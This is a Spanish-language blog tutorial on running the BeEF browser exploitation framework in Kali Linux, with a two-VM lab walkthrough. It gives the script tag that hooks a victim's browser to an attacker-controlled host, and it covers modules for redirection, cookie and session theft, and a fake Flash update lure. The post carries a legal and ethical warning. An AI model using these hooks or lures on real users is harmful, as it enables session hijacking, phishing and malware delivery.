hacking kali linux beef-xss

 

https://www.onlinetis.com 

hacking kali linux beef-xss

BeEF (The Browser Exploitation Framework) es una herramienta de pruebas de penetración muy potente que se centra en el lado del cliente, específicamente en los navegadores web. A diferencia de otras herramientas que buscan vulnerabilidades en el servidor, BeEF utiliza el navegador como una puerta de entrada para evaluar el entorno de seguridad de un objetivo.

Aquí tienes una guía básica para entender cómo funciona y cómo ponerlo en marcha en Kali Linux.

1. ¿Qué es BeEF?

BeEF permite a un "penn-tester" (o atacante) "enganchar" (hook) un navegador web. Una vez que la víctima visita una página infectada, el atacante puede ejecutar comandos en el navegador de esa persona para:

  • Redirigir el navegador a otros sitios.

  • Robar cookies y datos de sesión.

  • Obtener información del sistema operativo y hardware.

  • Realizar ataques de ingeniería social (como mostrar ventanas falsas de inicio de sesión).

2. Instalación en Kali Linux

Aunque suele venir preinstalado en las versiones "Large" de Kali, puedes instalarlo fácilmente desde la terminal:

  1. Actualiza tu sistema:

    sudo apt update && sudo apt upgrade

  2. Instala BeEF:

    sudo apt install beef-xss

3. Configuración Inicial (Muy Importante)

Por seguridad, BeEF no arrancará si no cambias la contraseña por defecto.

  1. Abre el archivo de configuración:

    sudo nano /etc/beef-xss/config.yaml

  2. Busca la sección de credentials y cambia el valor de passwd (por defecto es beef).

  3. Guarda los cambios (Ctrl + O, Enter) y sal (Ctrl + X).

4. Cómo iniciar y usar BeEF

Para iniciar el servicio, simplemente escribe en tu terminal:

sudo beef-xss

Una vez iniciado, verás dos enlaces clave en la terminal:

  • UI URL (Panel de Control): Generalmente http://127.0.0.1:3000/ui/panel. Aquí es donde controlas a los navegadores "enganchados".

  • Hook URL (El Gancho): Generalmente <tu-ip>:3000/hook.js. Este es el script que debe ejecutarse en el navegador de la víctima.

El proceso de ataque:

  1. Infectar la página: Debes lograr que el navegador de la víctima cargue el script. Se hace insertando esta línea en un archivo HTML:

    <script src="http://<tu-ip>:3000/hook.js"></script>

  2. Panel de Control: En cuanto la víctima entra a esa web, verás que aparece su IP en el panel de la izquierda en BeEF.

  3. Ejecución de Comandos: Selecciona el navegador "online" y ve a la pestaña "Commands". Verás cientos de módulos organizados por colores (verde significa que es invisible para el usuario y funciona bien).

Advertencia Ética y Legal

Usa esta herramienta solo en entornos controlados (como máquinas virtuales) o bajo consentimiento explícito. El uso de BeEF para acceder a sistemas ajenos sin permiso es ilegal.

Nota: BeEF es una herramienta de XSS (Cross-Site Scripting). Para que sea efectiva en la vida real, suele combinarse con ataques de red (como Man-in-the-Middle) o páginas web vulnerables donde puedas inyectar el script.

Para realizar esta demostración de forma segura, lo ideal es que utilices dos máquinas virtuales (VMs) conectadas a la misma red (usando el modo "Adaptador Puente" o "Red NAT" en VirtualBox/VMware).

  • Máquina A (Atacante): Kali Linux con BeEF.

  • Máquina B (Víctima): Cualquier sistema (Windows, Linux, Android) con un navegador web (Chrome, Firefox).

Paso 1: Preparar el "Gancho" (Hook)

En tu Kali Linux, necesitamos una página web que contenga el script de BeEF. Por defecto, BeEF trae una página de prueba, pero vamos a hacerlo más realista.

  1. Asegúrate de que BeEF esté corriendo: sudo beef-xss.

  2. Anota tu IP local. En una terminal nueva escribe: ip addr. (Supongamos que es 192.168.1.50).

  3. BeEF ya incluye un servidor web, pero para esta prueba usaremos la página de demostración que viene por defecto:

    http://192.168.1.50:3000/demos/basic.html

Paso 2: El Momento de la "Infección"

Ahora, ve a la Máquina Víctima y abre el navegador.

  1. Introduce la URL de la demo: http://192.168.1.50:3000/demos/basic.html.

  2. Verás una página web sencilla. No la cierres. Mientras esa pestaña esté abierta, tú tienes el control.

Paso 3: Tomar el Control desde Kali

Vuelve a tu Panel de Control de BeEF en Kali (http://127.0.0.1:3000/ui/panel).

  1. En la columna de la izquierda (Online Browsers), verás aparecer la IP de la víctima.

  2. Haz clic sobre ella. Se abrirá un panel con pestañas a la derecha.

  3. Ve a la pestaña Commands. Aquí es donde ocurre la magia.

Paso 4: Tres Pruebas Prácticas para Ejecutar

A. Crear una Alerta (Prueba de conexión)

Es la forma más simple de verificar que tienes el control.

  1. Busca en el árbol de comandos: Browser -> Window -> Alert Dialog.

  2. En el campo "Alert text", escribe: "Has sido auditado por seguridad".

  3. Haz clic en Execute (abajo a la derecha).

  4. Resultado: Verás aparecer el mensaje instantáneamente en el navegador de la víctima.

B. Redirección de Google (Phishing)

Puedes forzar a la víctima a ir a una página maliciosa.

  1. Busca: Browser -> Redirect Browser.

  2. En "Redirect URL", pon: https://google.com.

  3. Haz clic en Execute.

  4. Resultado: El navegador de la víctima cambiará de página automáticamente.

C. Fake Flash Update (Ingeniería Social) - El más potente

Este módulo intenta engañar al usuario para que descargue un archivo (que podría ser un virus real).

  1. Busca: Social Engineering -> Fake Flash Update.

  2. Configura la URL de descarga (puedes dejar la de BeEF por defecto).

  3. Haz clic en Execute.

  4. Resultado: Al usuario le aparecerá una barra en la parte superior del navegador diciendo que su plugin de Flash está desactualizado, con un diseño muy convincente.

¿Cómo analizar los resultados?

Cada vez que ejecutas un comando, en la columna central de la pestaña "Commands" aparecerá una lista de ejecuciones. Si haces clic en una, verás el "Command Results", donde BeEF te muestra qué respondió el navegador o si hubo algún error.

 

Location: España

Entradas populares de este blog

Hacking y ciberseguridad en kali linux con Fping

Imagen
  www.onlinetis.com   Hacking y ciberseguridad en kali linux con Fping Fping es un programa similar a ping que utiliza la solicitud de eco del Protocolo de Mensajes de Control de Internet (ICMP) para determinar si un host objetivo responde. fping se diferencia de ping en que permite especificar cualquier número de objetivos en la línea de comandos o un archivo con las listas de objetivos a los que se hará ping. En lugar de enviar a un objetivo hasta que se agote el tiempo de espera o responda, fping envía un paquete de ping y pasa al siguiente objetivo mediante un sistema de turnos rotatorios. Como instalar:  sudo apt install fping fping Enviar paquetes ICMP ECHO_REQUEST a los hosts de la red   fping6 Compatibilidad con versiones anteriores de fping anteriores a la versión 4.0 El comando fping en Kali Linux es una utilidad de red que se utiliza para enviar paquetes de ICMP (Protocolo de mensajes de control de Internet) a varios hosts de forma simultánea. A diferen...
LEER MAS »

Hacking y ciberseguridad en kali linux con atk6-thcping6

Imagen
www.onlinetis.com Hacking y ciberseguridad en kali linux con atk6-thcping6 Parece que estás interesado en usar atk6-thcping6 en Kali Linux. Esta herramienta es parte del conjunto de utilidades thc-ipv6 , diseñado para probar las debilidades del protocolo IPv6. Para usar atk6-thcping6 , primero necesitas tener instalado el paquete thc-ipv6 . En la mayoría de las distribuciones de Kali, ya viene preinstalado, pero si no, puedes instalarlo con el siguiente comando: Bash sudo apt install thc-ipv6 Una vez que lo tienes instalado, la sintaxis básica para atk6-thcping6 es: Bash atk6-thcping6 <interface> <target> [opciones] Aquí está el desglose de los argumentos y opciones más comunes: <interface> : La interfaz de red que usarás para enviar el paquete. Por ejemplo, eth0 , wlan0 , etc. <target> : La dirección IPv6 del objetivo al que quieres hacer ping. [opciones] : Puedes usar varias opciones para modificar el comportamiento del ping. La mejor manera de ver todas la...
LEER MAS »

Como utilizar Fierce en kali linux

Imagen
  www.onlinetis.com   Como utilizar Fierce en kali linux Fierce es un escáner semiligero que ayuda a localizar direcciones IP no contiguas y nombres de host en dominios específicos. Está pensado como precursor de nmap, unicornscan, nessus, nikto, etc., ya que todos ellos requieren que se conozca previamente el espacio IP buscado. No realiza exploits ni escanea internet indiscriminadamente. Está diseñado específicamente para localizar objetivos probables tanto dentro como fuera de una red corporativa. Dado que utiliza principalmente DNS, es frecuente encontrar redes mal configuradas que filtran el espacio de direcciones interno. Esto es especialmente útil en malware dirigido. Originalmente escrito por RSnake y otros en http://ha.ckers.org/. Se trata simplemente de una conversión a Python 3 para simplificar y modernizar el código base. Como instalar: sudo apt install fierce Escáner DNS que ayuda a localizar espacios de IP no contiguos y nombres de host contra dominios específico...
LEER MAS »